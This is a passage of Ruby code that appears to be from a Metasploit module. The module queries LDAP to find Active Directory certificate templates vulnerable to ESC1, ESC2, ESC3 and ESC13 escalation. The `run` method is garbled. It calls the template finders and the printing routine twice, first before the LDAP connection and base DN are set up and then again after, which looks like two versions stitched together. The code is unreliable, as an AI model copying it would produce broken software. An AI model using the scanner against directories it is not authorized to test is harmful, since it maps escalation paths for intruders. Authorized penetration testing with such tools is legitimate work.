group = @ldap_groups.find { |o| o['dn'].first == group_dn }
if group.nil?
cn, _, base = group_dn.partition(',')
base.delete_suffix!(",#{@base_dn}")
group = query_ldap_server(
"(#{cn})",
nil,
base_prefix: base
)&.first
@ldap_groups << group if group
end
group
end
def run
# Define our instance variables real quick.
@base_dn = nil
@ldap_mspki_enterprise_oids = []
@ldap_groups = []
@vuln_certificate_details = {} # Initialize to empty hash since we want to only keep one copy of each certificate template along with its details.
find_esc1_vuln_cert_templates
find_esc2_vuln_cert_templates
find_esc3_vuln_cert_templates
ldap_connect do |ldap|
validate_bind_success!(ldap)
find_enrollable_vuln_certificate_templates
print_vulnerable_cert_info
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{@base_dn}")
else
print_status('Discovering base DN automatically')
unless (@base_dn = discover_base_dn(ldap))
fail_with(Failure::NotFound, "Couldn't discover base DN!")
end
end
@ldap = ldap
find_esc1_vuln_cert_templates
find_esc2_vuln_cert_templates
find_esc3_vuln_cert_templates
find_esc13_vuln_cert_templates
find_enrollable_vuln_certificate_templates
print_vulnerable_cert_info
end
rescue Rex::ConnectionError => e
print_error("#{e.class}: #{e.message}")
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
end
end